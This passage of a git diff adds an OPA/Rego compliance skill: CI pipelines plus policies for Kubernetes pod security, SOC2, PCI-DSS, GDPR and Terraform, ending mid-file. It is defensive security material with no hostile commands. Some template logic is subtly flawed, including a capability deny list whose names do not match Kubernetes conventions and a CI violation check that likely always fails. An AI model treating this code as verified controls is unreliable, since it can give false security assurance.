PCI-DSS, GDPR, HIPAA controls +- `kubernetes-security.md` - Kubernetes security policies and admission control patterns +- `iac-policies.md` - Infrastructure-as-code policy validation for Terraform, CloudFormation + +### Assets (`assets/`) + +- `k8s-pod-security.rego` - Kubernetes pod security policy template +- `k8s-constraint-template.yaml` - OPA Gatekeeper constraint template +- `k8s-constraint.yaml` - Example Gatekeeper constraint configuration +- `soc2-compliance.rego` - SOC2 compliance controls as OPA policies +- `pci-dss-compliance.rego` - PCI-DSS requirements as OPA policies +- `gdpr-compliance.rego` - GDPR data protection policies +- `terraform-security.rego` - Terraform security best practices policies +- `ci-cd-pipeline.yaml` - CI/CD integration examples (GitHub Actions, GitLab CI) + +## Common Patterns + +### Pattern 1: Kubernetes Admission Control + +Enforce security policies at pod creation time: +```rego +package kubernetes.admission + +deny[msg] { + input.request.kind.kind == "Pod" + not input.request.object.spec.securityContext.runAsNonRoot + msg := "Pods must run as non-root user" +} +``` + +### Pattern 2: Infrastructure-as-Code Validation + +Validate Terraform configurations before apply: +```rego +package terraform.security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not resource.change.after.server_side_encryption_configuration + msg := sprintf("S3 bucket %v must have encryption enabled", [resource.name]) +} +``` + +### Pattern 3: Compliance Framework Mapping + +Map policies to specific compliance controls: +```rego +package compliance.soc2 + +# SOC2 CC6.1: Logical and physical access controls +cc6_1_violations[msg] { + input.kind == "RoleBinding" + input.roleRef.name == "cluster-admin" + msg := sprintf("SOC2 CC6.1 VIOLATION: cluster-admin binding for %v", [input.metadata.name]) +} +``` + +### Pattern 4: Data Classification Enforcement + +Enforce data handling policies based on classification: +```rego +package data.classification + +deny[msg] { + input.metadata.labels["data-classification"] == "restricted" + input.spec.template.spec.volumes[_].hostPath + msg := "Restricted data cannot use hostPath volumes" +} +``` + +### Pattern 5: API Authorization Policies + +Implement attribute-based access control (ABAC): +```rego +package api.authz + +import future.keywords.if + +allow if { + input.method == "GET" + input.path[0] == "public" +} + +allow if { + input.method == "GET" + input.user.role == "admin" +} + +allow if { + input.method == "POST" + input.user.role == "editor" + input.resource.owner == input.user.id +} +``` + +## Integration Points + +- **CI/CD Pipelines**: GitHub Actions, GitLab CI, Jenkins, CircleCI - validate policies before deployment +- **Kubernetes**: OPA Gatekeeper admission controller for runtime policy enforcement +- **Terraform/IaC**: Pre-deployment validation using `conftest` or OPA CLI +- **API Gateways**: Kong, Envoy, NGINX - authorize requests using OPA policies +- **Monitoring/SIEM**: Export policy violations to Splunk, ELK, Datadog for security monitoring +- **Compliance Tools**: Integrate with compliance platforms for control validation and audit trails + +## Troubleshooting + +### Issue: Policy Evaluation Returns Unexpected Results + +**Solution**: +- Enable trace mode: `opa eval --data policy.rego --input input.json --explain full 'data.example.allow'` +- Validate input data structure matches policy expectations +- Check for typos in policy rules or variable names +- Use `opa fmt` to format policies and catch syntax errors + +### Issue: Kubernetes Admission Control Not Blocking Violations + +**Solution**: +- Verify Gatekeeper is running: `kubectl get pods -n gatekeeper-system` +- Check constraint status: `kubectl get constraints` +- Review audit logs: `kubectl logs -n gatekeeper-system -l control-plane=controller-manager` +- Ensure constraint template is properly defined and matches policy expectations + +### Issue: Policy Tests Failing + +**Solution**: +- Run tests with verbose output: `opa test . --verbose` +- Check test input data matches expected format +- Verify policy package names match between policy and test files +- Use `print()` statements in Rego for debugging + +### Issue: Performance Degradation with Large Policy Sets + +**Solution**: +- Use policy bundles: `opa build policies/ -o bundle.tar.gz` +- Enable partial evaluation for complex policies +- Optimize policy rules to reduce computational complexity +- Index data for faster lookups using `input.key` patterns +- Consider splitting large policy sets into separate evaluation domains + +## References + +- [OPA Documentation](https://www.openpolicyagent.org/docs/latest/) +- [Rego Language Reference](https://www.openpolicyagent.org/docs/latest/policy-language/) +- [OPA Gatekeeper](https://open-policy-agent.github.io/gatekeeper/website/) +- [Conftest](https://www.conftest.dev/) +- [OPA Kubernetes Tutorial](https://www.openpolicyagent.org/docs/latest/kubernetes-tutorial/) +- [SOC2 Security Controls](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) +- [PCI-DSS Requirements](https://www.pcisecuritystandards.org/) +- [GDPR Compliance Guide](https://gdpr.eu/) diff --git a/skills/compliance/policy-opa/assets/.gitkeep b/skills/compliance/policy-opa/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/compliance/policy-opa/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/compliance/policy-opa/assets/ci-cd-pipeline.yaml b/skills/compliance/policy-opa/assets/ci-cd-pipeline.yaml new file mode 100644 index 0000000..18dabe2 --- /dev/null +++ b/skills/compliance/policy-opa/assets/ci-cd-pipeline.yaml @@ -0,0 +1,234 @@ +# GitHub Actions CI/CD Pipeline with OPA Policy Validation +name: OPA Policy Validation + +on: + push: + branches: [ main, develop ] + pull_request: + branches: [ main ] + +jobs: + # Test OPA policies with unit tests + test-policies: + name: Test OPA Policies + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup OPA + uses: open-policy-agent/setup-opa@v2 + with: + version: latest + + - name: Run Policy Tests + run: | + opa test policies/ --verbose --coverage + opa test policies/ --coverage --format=json > coverage.json + + - name: Check Coverage Threshold + run: | + COVERAGE=$(jq -r '.coverage' coverage.json | awk '{print int($1)}') + if [ "$COVERAGE" -lt 80 ]; then + echo "Coverage $COVERAGE% is below threshold 80%" + exit 1 + fi + echo "Coverage: $COVERAGE%" + + # Validate Kubernetes manifests + validate-kubernetes: + name: Validate Kubernetes Configs + runs-on: ubuntu-latest + needs: test-policies + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup OPA + uses: open-policy-agent/setup-opa@v2 + + - name: Validate Kubernetes Manifests + run: | + for file in k8s/**/*.yaml; do + echo "Validating $file" + opa eval --data policies/ --input "$file" \ + --format pretty 'data.kubernetes.admission.deny' \ + > violations.txt + + if [ -s violations.txt ]; then + echo "Policy violations found in $file:" + cat violations.txt + exit 1 + fi + done + + - name: Generate Validation Report + if: always() + run: | + ./scripts/generate_report.py \ + --policy policies/ \ + --audit-logs violations.json \ + --format html \ + --output validation-report.html + + - name: Upload Report + if: always() + uses: actions/upload-artifact@v3 + with: + name: validation-report + path: validation-report.html + + # Validate Terraform configurations + validate-terraform: + name: Validate Terraform Configs + runs-on: ubuntu-latest + needs: test-policies + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup Terraform + uses: hashicorp/setup-terraform@v2 + + - name: Setup OPA + uses: open-policy-agent/setup-opa@v2 + + - name: Terraform Init + run: terraform init + + - name: Generate Terraform Plan + run: | + terraform plan -out=tfplan.binary + terraform show -json tfplan.binary > tfplan.json + + - name: Validate with OPA + run: | + opa eval --data policies/terraform/ --input tfplan.json \ + --format pretty 'data.terraform.security.deny' \ + > terraform-violations.json + + if [ -s terraform-violations.json ]; then + echo "Terraform policy violations detected:" + cat terraform-violations.json + exit 1 + fi + + # Compliance validation for production + compliance-check: + name: Compliance Validation + runs-on: ubuntu-latest + if: github.ref == 'refs/heads/main' + needs: [validate-kubernetes, validate-terraform] + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup OPA + uses: open-policy-agent/setup-opa@v2 + + - name: SOC2 Compliance Check + run: | + opa eval --data policies/compliance/soc2-compliance.rego \ + --input deployments/ \ + --format json 'data.compliance.soc2.deny' \ + > soc2-violations.json + + - name: PCI-DSS Compliance Check + run: | + opa eval --data policies/compliance/pci-dss-compliance.rego \ + --input deployments/ \ + --format json 'data.compliance.pci.deny' \ + > pci-violations.json + + - name: GDPR Compliance Check + run: | + opa eval --data policies/compliance/gdpr-compliance.rego \ + --input deployments/ \ + --format json 'data.compliance.gdpr.deny' \ + > gdpr-violations.json + + - name: Generate Compliance Report + run: | + ./scripts/generate_report.py \ + --policy policies/compliance/ \ + --audit-logs soc2-violations.json \ + --format html \ + --output compliance-report.html + + - name: Upload Compliance Report + uses: actions/upload-artifact@v3 + with: + name: compliance-report + path: compliance-report.html + + - name: Fail on Violations + run: | + TOTAL_VIOLATIONS=$(cat *-violations.json | jq -s 'map(length) | add') + if [ "$TOTAL_VIOLATIONS" -gt 0 ]; then + echo "Found $TOTAL_VIOLATIONS compliance violations" + exit 1 + fi + +--- +# GitLab CI/CD Pipeline Example +# .gitlab-ci.yml + +stages: + - test + - validate + - compliance + +variables: + OPA_VERSION: "latest" + +test-policies: + stage: test + image: openpolicyagent/opa:${OPA_VERSION} + script: + - opa test policies/ --verbose --coverage + - opa test policies/ --format=json --coverage > coverage.json + artifacts: + reports: + coverage_report: + coverage_format: cobertura + path: coverage.json + +validate-kubernetes: + stage: validate + image: openpolicyagent/opa:${OPA_VERSION} + script: + - | + for file in k8s/**/*.yaml; do + opa eval --data policies/ --input "$file" \ + 'data.kubernetes.admission.deny' || exit 1 + done + only: + - merge_requests + - main + +validate-terraform: + stage: validate + image: hashicorp/terraform:latest + before_script: + - apk add --no-cache curl jq + - curl -L -o /usr/local/bin/opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64 + - chmod +x /usr/local/bin/opa + script: + - terraform init + - terraform plan -out=tfplan.binary + - terraform show -json tfplan.binary > tfplan.json + - opa eval --data policies/terraform/ --input tfplan.json 'data.terraform.security.deny' + only: + - merge_requests + - main + +compliance-check: + stage: compliance + image: openpolicyagent/opa:${OPA_VERSION} + script: + - opa eval --data policies/compliance/ --input deployments/ 'data.compliance' + artifacts: + reports: + junit: compliance-report.xml + only: + - main diff --git a/skills/compliance/policy-opa/assets/gdpr-compliance.rego b/skills/compliance/policy-opa/assets/gdpr-compliance.rego new file mode 100644 index 0000000..ce3d087 --- /dev/null +++ b/skills/compliance/policy-opa/assets/gdpr-compliance.rego @@ -0,0 +1,159 @@ +package compliance.gdpr + +import future.keywords.if + +# GDPR Article 25: Data Protection by Design and by Default + +# Require data classification labels +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.labels["data-classification"] + msg := { + "control": "GDPR Article 25", + "severity": "high", + "violation": sprintf("Deployment processing personal data requires classification: %v", [input.metadata.name]), + "remediation": "Add label: data-classification=personal|sensitive|public", + } +} + +# Data minimization - limit replicas for personal data +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["data-type"] == "personal" + input.spec.replicas > 3 + not input.metadata.annotations["gdpr.justification"] + msg := { + "control": "GDPR Article 25", + "severity": "medium", + "violation": sprintf("Excessive replicas for personal data: %v", [input.metadata.name]), + "remediation": "Reduce replicas or add justification annotation", + } +} + +# Require purpose limitation annotation +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.annotations["data-purpose"] + msg := { + "control": "GDPR Article 25", + "severity": "medium", + "violation": sprintf("Personal data deployment requires purpose annotation: %v", [input.metadata.name]), + "remediation": "Add annotation: data-purpose=", + } +} + +processes_personal_data(resource) { + resource.metadata.labels["data-type"] == "personal" +} + +processes_personal_data(resource) { + resource.metadata.labels["data-type"] == "pii" +} + +processes_personal_data(resource) { + contains(lower(resource.metadata.name), "user") +} + +# GDPR Article 32: Security of Processing + +# Require encryption for personal data volumes +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["volume.encryption.enabled"] == "true" + msg := { + "control": "GDPR Article 32", + "severity": "high", + "violation": sprintf("Personal data volume requires encryption: %v", [input.metadata.name]), + "remediation": "Enable volume encryption", + } +} + +# Require TLS for personal data services +deny[msg] { + input.kind == "Service" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["tls.enabled"] == "true" + msg := { + "control": "GDPR Article 32", + "severity": "high", + "violation": sprintf("Personal data service requires TLS: %v", [input.metadata.name]), + "remediation": "Enable TLS encryption", + } +} + +# Require pseudonymization or anonymization +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.annotations["data-protection.method"] + msg := { + "control": "GDPR Article 32", + "severity": "medium", + "violation": sprintf("Personal data deployment requires protection method: %v", [input.metadata.name]), + "remediation": "Add annotation: data-protection.method=pseudonymization|anonymization|encryption", + } +} + +# GDPR Article 33: Breach Notification + +# Require incident response plan +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + input.metadata.namespace == "production" + not input.metadata.annotations["incident-response.plan"] + msg := { + "control": "GDPR Article 33", + "severity": "medium", + "violation": sprintf("Production personal data deployment requires incident response plan: %v", [input.metadata.name]), + "remediation": "Add annotation: incident-response.plan=", + } +} + +# GDPR Article 30: Records of Processing Activities + +# Require data processing record +deny[msg] { + input.kind == "Deployment" + processes_personal_data(input) + not input.metadata.annotations["dpa.record-id"] + msg := { + "control": "GDPR Article 30", + "severity": "medium", + "violation": sprintf("Personal data deployment requires processing record: %v", [input.metadata.name]), + "remediation": "Add annotation: dpa.record-id=", + } +} + +# GDPR Article 35: Data Protection Impact Assessment (DPIA) + +# Require DPIA for high-risk processing +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["data-type"] == "sensitive" + not input.metadata.annotations["dpia.reference"] + msg := { + "control": "GDPR Article 35", + "severity": "high", + "violation": sprintf("Sensitive data deployment requires DPIA: %v", [input.metadata.name]), + "remediation": "Conduct DPIA and add annotation: dpia.reference=", + } +} + +# GDPR Article 17: Right to Erasure (Right to be Forgotten) + +# Require data retention policy +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-type"] == "personal" + not input.metadata.annotations["data-retention.days"] + msg := { + "control": "GDPR Article 17", + "severity": "medium", + "violation": sprintf("Personal data volume requires retention policy: %v", [input.metadata.name]), + "remediation": "Add annotation: data-retention.days=", + } +} diff --git a/skills/compliance/policy-opa/assets/k8s-constraint-template.yaml b/skills/compliance/policy-opa/assets/k8s-constraint-template.yaml new file mode 100644 index 0000000..da72c52 --- /dev/null +++ b/skills/compliance/policy-opa/assets/k8s-constraint-template.yaml @@ -0,0 +1,87 @@ +apiVersion: templates.gatekeeper.sh/v1beta1 +kind: ConstraintTemplate +metadata: + name: k8spodsecurity + annotations: + description: "Enforces pod security standards including privileged containers, host namespaces, and capabilities" +spec: + crd: + spec: + names: + kind: K8sPodSecurity + validation: + openAPIV3Schema: + type: object + properties: + allowPrivileged: + type: boolean + description: "Allow privileged containers" + allowHostNamespace: + type: boolean + description: "Allow host namespace usage" + allowedCapabilities: + type: array + description: "List of allowed capabilities" + items: + type: string + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8spodsecurity + + import future.keywords.contains + import future.keywords.if + + violation[{"msg": msg}] { + not input.parameters.allowPrivileged + container := input.review.object.spec.containers[_] + container.securityContext.privileged == true + msg := sprintf("Privileged container not allowed: %v", [container.name]) + } + + violation[{"msg": msg}] { + container := input.review.object.spec.containers[_] + not container.securityContext.runAsNonRoot + msg := sprintf("Container must run as non-root: %v", [container.name]) + } + + violation[{"msg": msg}] { + container := input.review.object.spec.containers[_] + not container.securityContext.readOnlyRootFilesystem + msg := sprintf("Container must use read-only root filesystem: %v", [container.name]) + } + + violation[{"msg": msg}] { + not input.parameters.allowHostNamespace + input.review.object.spec.hostPID == true + msg := "Host PID namespace not allowed" + } + + violation[{"msg": msg}] { + not input.parameters.allowHostNamespace + input.review.object.spec.hostIPC == true + msg := "Host IPC namespace not allowed" + } + + violation[{"msg": msg}] { + not input.parameters.allowHostNamespace + input.review.object.spec.hostNetwork == true + msg := "Host network namespace not allowed" + } + + violation[{"msg": msg}] { + volume := input.review.object.spec.volumes[_] + volume.hostPath + msg := sprintf("hostPath volume not allowed: %v", [volume.name]) + } + + violation[{"msg": msg}] { + container := input.review.object.spec.containers[_] + capability := container.securityContext.capabilities.add[_] + not is_allowed_capability(capability) + msg := sprintf("Capability %v not allowed for container: %v", [capability, container.name]) + } + + is_allowed_capability(capability) { + input.parameters.allowedCapabilities[_] == capability + } diff --git a/skills/compliance/policy-opa/assets/k8s-constraint.yaml b/skills/compliance/policy-opa/assets/k8s-constraint.yaml new file mode 100644 index 0000000..c0faae5 --- /dev/null +++ b/skills/compliance/policy-opa/assets/k8s-constraint.yaml @@ -0,0 +1,20 @@ +apiVersion: constraints.gatekeeper.sh/v1beta1 +kind: K8sPodSecurity +metadata: + name: pod-security-policy +spec: + match: + kinds: + - apiGroups: [""] + kinds: ["Pod"] + namespaces: + - "production" + - "staging" + excludedNamespaces: + - "kube-system" + - "gatekeeper-system" + parameters: + allowPrivileged: false + allowHostNamespace: false + allowedCapabilities: + - "NET_BIND_SERVICE" # Allow binding to privileged ports diff --git a/skills/compliance/policy-opa/assets/k8s-pod-security.rego b/skills/compliance/policy-opa/assets/k8s-pod-security.rego new file mode 100644 index 0000000..e874bdb --- /dev/null +++ b/skills/compliance/policy-opa/assets/k8s-pod-security.rego @@ -0,0 +1,90 @@ +package kubernetes.admission + +import future.keywords.contains +import future.keywords.if + +# Deny privileged containers +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + container.securityContext.privileged == true + msg := sprintf("Privileged container is not allowed: %v", [container.name]) +} + +# Enforce non-root user +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not container.securityContext.runAsNonRoot + msg := sprintf("Container must run as non-root user: %v", [container.name]) +} + +# Require read-only root filesystem +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not container.securityContext.readOnlyRootFilesystem + msg := sprintf("Container must use read-only root filesystem: %v", [container.name]) +} + +# Deny host namespaces +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostPID == true + msg := "Sharing the host PID namespace is not allowed" +} + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostIPC == true + msg := "Sharing the host IPC namespace is not allowed" +} + +deny[msg] { + input.request.kind.kind == "Pod" + input.request.object.spec.hostNetwork == true + msg := "Sharing the host network namespace is not allowed" +} + +# Deny hostPath volumes +deny[msg] { + input.request.kind.kind == "Pod" + volume := input.request.object.spec.volumes[_] + volume.hostPath + msg := sprintf("hostPath volumes are not allowed: %v", [volume.name]) +} + +# Require dropping ALL capabilities +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not drops_all_capabilities(container) + msg := sprintf("Container must drop ALL capabilities: %v", [container.name]) +} + +drops_all_capabilities(container) { + container.securityContext.capabilities.drop[_] == "ALL" +} + +# Deny dangerous capabilities +dangerous_capabilities := [ + "CAP_SYS_ADMIN", + "CAP_NET_ADMIN", + "CAP_SYS_PTRACE", + "CAP_SYS_MODULE", +] + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + capability := container.securityContext.capabilities.add[_] + dangerous_capabilities[_] == capability + msg := sprintf("Capability %v is not allowed for container: %v", [capability, container.name]) +} + +# Require seccomp profile +deny[msg] { + input.request.kind.kind == "Pod" + not input.request.object.spec.securityContext.seccompProfile + msg := "Pod must define a seccomp profile" +} diff --git a/skills/compliance/policy-opa/assets/pci-dss-compliance.rego b/skills/compliance/policy-opa/assets/pci-dss-compliance.rego new file mode 100644 index 0000000..293f23c --- /dev/null +++ b/skills/compliance/policy-opa/assets/pci-dss-compliance.rego @@ -0,0 +1,131 @@ +package compliance.pci + +import future.keywords.if + +# PCI-DSS Requirement 1.2: Firewall Configuration + +# Require network policies for cardholder data +deny[msg] { + input.kind == "Namespace" + input.metadata.labels["pci.scope"] == "in-scope" + not input.metadata.annotations["network-policy.enabled"] == "true" + msg := { + "control": "PCI-DSS 1.2", + "severity": "high", + "violation": sprintf("PCI in-scope namespace requires network policy: %v", [input.metadata.name]), + "remediation": "Create NetworkPolicy to restrict traffic and add annotation", + } +} + +# PCI-DSS Requirement 2.2: System Hardening + +# Container hardening - read-only filesystem +deny[msg] { + input.kind == "Pod" + input.metadata.labels["pci.scope"] == "in-scope" + container := input.spec.containers[_] + not container.securityContext.readOnlyRootFilesystem + msg := { + "control": "PCI-DSS 2.2", + "severity": "high", + "violation": sprintf("PCI container requires read-only filesystem: %v", [container.name]), + "remediation": "Set securityContext.readOnlyRootFilesystem: true", + } +} + +# Container hardening - no privilege escalation +deny[msg] { + input.kind == "Pod" + input.metadata.labels["pci.scope"] == "in-scope" + container := input.spec.containers[_] + not container.securityContext.allowPrivilegeEscalation == false + msg := { + "control": "PCI-DSS 2.2", + "severity": "high", + "violation": sprintf("PCI container allows privilege escalation: %v", [container.name]), + "remediation": "Set securityContext.allowPrivilegeEscalation: false", + } +} + +# PCI-DSS Requirement 3.4: Encryption of Cardholder Data + +# Require encryption for PCI data at rest +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["pci.scope"] == "in-scope" + not input.metadata.annotations["volume.encryption.enabled"] == "true" + msg := { + "control": "PCI-DSS 3.4", + "severity": "critical", + "violation": sprintf("PCI volume requires encryption: %v", [input.metadata.name]), + "remediation": "Enable volume encryption", + } +} + +# Require TLS for PCI data in transit +deny[msg] { + input.kind == "Service" + input.metadata.labels["pci.scope"] == "in-scope" + not input.metadata.annotations["tls.enabled"] == "true" + msg := { + "control": "PCI-DSS 4.1", + "severity": "critical", + "violation": sprintf("PCI service requires TLS encryption: %v", [input.metadata.name]), + "remediation": "Enable TLS for data in transit", + } +} + +# PCI-DSS Requirement 8.2.1: Strong Authentication + +# Require MFA for payment endpoints +deny[msg] { + input.kind == "Ingress" + input.metadata.labels["payment.enabled"] == "true" + not input.metadata.annotations["mfa.required"] == "true" + msg := { + "control": "PCI-DSS 8.2.1", + "severity": "high", + "violation": sprintf("Payment ingress requires MFA: %v", [input.metadata.name]), + "remediation": "Enable MFA via annotation: mfa.required=true", + } +} + +# PCI-DSS Requirement 10.2: Audit Logging + +# Require audit logging for PCI components +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["pci.scope"] == "in-scope" + not has_audit_logging(input) + msg := { + "control": "PCI-DSS 10.2", + "severity": "high", + "violation": sprintf("PCI deployment requires audit logging: %v", [input.metadata.name]), + "remediation": "Deploy audit logging sidecar or enable centralized logging", + } +} + +has_audit_logging(resource) { + resource.spec.template.metadata.annotations["audit.enabled"] == "true" +} + +has_audit_logging(resource) { + container := resource.spec.template.spec.containers[_] + contains(container.name, "audit") +} + +# PCI-DSS Requirement 11.3: Penetration Testing + +# Require security testing evidence for PCI deployments +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["pci.scope"] == "in-scope" + input.metadata.namespace == "production" + not input.metadata.annotations["security-testing.date"] + msg := { + "control": "PCI-DSS 11.3", + "severity": "medium", + "violation": sprintf("PCI deployment requires security testing evidence: %v", [input.metadata.name]), + "remediation": "Add annotation: security-testing.date=YYYY-MM-DD", + } +} diff --git a/skills/compliance/policy-opa/assets/soc2-compliance.rego b/skills/compliance/policy-opa/assets/soc2-compliance.rego new file mode 100644 index 0000000..352d221 --- /dev/null +++ b/skills/compliance/policy-opa/assets/soc2-compliance.rego @@ -0,0 +1,107 @@ +package compliance.soc2 + +import future.keywords.if + +# SOC2 CC6.1: Logical and Physical Access Controls + +# Deny overly permissive RBAC +deny[msg] { + input.kind == "RoleBinding" + input.roleRef.name == "cluster-admin" + not startswith(input.subjects[_].name, "system:") + msg := { + "control": "SOC2 CC6.1", + "severity": "high", + "violation": sprintf("Overly permissive cluster-admin binding: %v", [input.metadata.name]), + "remediation": "Use least-privilege roles instead of cluster-admin", + } +} + +# Require authentication for external services +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["auth.required"] == "true" + msg := { + "control": "SOC2 CC6.1", + "severity": "medium", + "violation": sprintf("External service without authentication: %v", [input.metadata.name]), + "remediation": "Add annotation: auth.required=true", + } +} + +# SOC2 CC6.6: Encryption in Transit + +# Require TLS for Ingress +deny[msg] { + input.kind == "Ingress" + not input.spec.tls + msg := { + "control": "SOC2 CC6.6", + "severity": "high", + "violation": sprintf("Ingress without TLS: %v", [input.metadata.name]), + "remediation": "Configure spec.tls with valid certificates", + } +} + +# Require TLS for LoadBalancer +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["service.beta.kubernetes.io/aws-load-balancer-ssl-cert"] + msg := { + "control": "SOC2 CC6.6", + "severity": "high", + "violation": sprintf("LoadBalancer without SSL/TLS: %v", [input.metadata.name]), + "remediation": "Add SSL certificate annotation", + } +} + +# SOC2 CC6.7: Encryption at Rest + +# Require encrypted volumes for confidential data +deny[msg] { + input.kind == "PersistentVolumeClaim" + input.metadata.labels["data-classification"] == "confidential" + not input.metadata.annotations["volume.beta.kubernetes.io/storage-encrypted"] == "true" + msg := { + "control": "SOC2 CC6.7", + "severity": "high", + "violation": sprintf("Unencrypted volume for confidential data: %v", [input.metadata.name]), + "remediation": "Enable volume encryption annotation", + } +} + +# SOC2 CC7.2: System Monitoring + +# Require audit logging for critical systems +deny[msg] { + input.kind == "Deployment" + input.metadata.labels["critical-system"] == "true" + not has_audit_logging(input) + msg := { + "control": "SOC2 CC7.2", + "severity": "medium", + "violation": sprintf("Critical system without audit logging: %v", [input.metadata.name]), + "remediation": "Enable audit logging via sidecar or annotations", + } +} + +has_audit_logging(resource) { + resource.spec.template.metadata.annotations["audit.enabled"] == "true" +} + +# SOC2 CC8.1: Change Management + +# Require approval for production changes +deny[msg] { + input.kind == "Deployment" + input.metadata.namespace == "production" + not input.metadata.annotations["change-request.id"] + msg := { + "control": "SOC2 CC8.1", + "severity": "medium", + "violation": sprintf("Production deployment without change request: %v", [input.metadata.name]), + "remediation": "Add annotation: change-request.id=CR-XXXX", + } +} diff --git a/skills/compliance/policy-opa/assets/terraform-security.rego b/skills/compliance/policy-opa/assets/terraform-security.rego new file mode 100644 index 0000000..7247293 --- /dev/null +++ b/skills/compliance/policy-opa/assets/terraform-security.rego @@ -0,0 +1,223 @@ +package terraform.security + +import future.keywords.if + +# AWS S3 Bucket Security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not has_encryption(resource) + msg := { + "resource": resource.name, + "type": "aws_s3_bucket", + "severity": "high", + "violation": "S3 bucket must have encryption enabled", + "remediation": "Add server_side_encryption_configuration block", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket" + not has_versioning(resource) + msg := { + "resource": resource.name, + "type": "aws_s3_bucket", + "severity": "medium", + "violation": "S3 bucket should have versioning enabled", + "remediation": "Add versioning configuration with enabled = true", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_s3_bucket_public_access_block" + resource.change.after.block_public_acls == false + msg := { + "resource": resource.name, + "type": "aws_s3_bucket_public_access_block", + "severity": "high", + "violation": "S3 bucket must block public ACLs", + "remediation": "Set block_public_acls = true", + } +} + +has_encryption(resource) { + resource.change.after.server_side_encryption_configuration +} + +has_versioning(resource) { + resource.change.after.versioning[_].enabled == true +} + +# AWS EC2 Security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_instance" + not resource.change.after.metadata_options.http_tokens == "required" + msg := { + "resource": resource.name, + "type": "aws_instance", + "severity": "high", + "violation": "EC2 instance must use IMDSv2", + "remediation": "Set metadata_options.http_tokens = required", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_instance" + resource.change.after.associate_public_ip_address == true + is_production + msg := { + "resource": resource.name, + "type": "aws_instance", + "severity": "high", + "violation": "Production EC2 instances cannot have public IPs", + "remediation": "Set associate_public_ip_address = false", + } +} + +is_production { + input.variables.environment == "production" +} + +# AWS RDS Security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + not resource.change.after.storage_encrypted + msg := { + "resource": resource.name, + "type": "aws_db_instance", + "severity": "high", + "violation": "RDS instance must have encryption enabled", + "remediation": "Set storage_encrypted = true", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + resource.change.after.publicly_accessible == true + msg := { + "resource": resource.name, + "type": "aws_db_instance", + "severity": "critical", + "violation": "RDS instance cannot be publicly accessible", + "remediation": "Set publicly_accessible = false", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_db_instance" + backup_retention := resource.change.after.backup_retention_period + backup_retention < 7 + msg := { + "resource": resource.name, + "type": "aws_db_instance", + "severity": "medium", + "violation": "RDS instance must have at least 7 days backup retention", + "remediation": "Set backup_retention_period >= 7", + } +} + +# AWS IAM Security + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_iam_policy" + statement := resource.change.after.policy.Statement[_] + statement.Action[_] == "*" + msg := { + "resource": resource.name, + "type": "aws_iam_policy", + "severity": "high", + "violation": "IAM policy cannot use wildcard actions", + "remediation": "Specify explicit actions instead of *", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_iam_policy" + statement := resource.change.after.policy.Statement[_] + statement.Resource[_] == "*" + statement.Effect == "Allow" + msg := { + "resource": resource.name, + "type": "aws_iam_policy", + "severity": "high", + "violation": "IAM policy cannot use wildcard resources with Allow", + "remediation": "Specify explicit resource ARNs", + } +} + +# AWS Security Group Rules + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_security_group_rule" + resource.change.after.type == "ingress" + resource.change.after.from_port == 22 + is_open_to_internet(resource.change.after.cidr_blocks) + msg := { + "resource": resource.name, + "type": "aws_security_group_rule", + "severity": "critical", + "violation": "Security group allows SSH from internet", + "remediation": "Restrict SSH access to specific IP ranges", + } +} + +deny[msg] { + resource := input.resource_changes[_] + resource.type == "aws_security_group_rule" + resource.change.after.type == "ingress" + resource.change.after.from_port == 3389 + is_open_to_internet(resource.change.after.cidr_blocks) + msg := { + "resource": resource.name, + "type": "aws_security_group_rule", + "severity": "critical", + "violation": "Security group allows RDP from internet", + "remediation": "Restrict 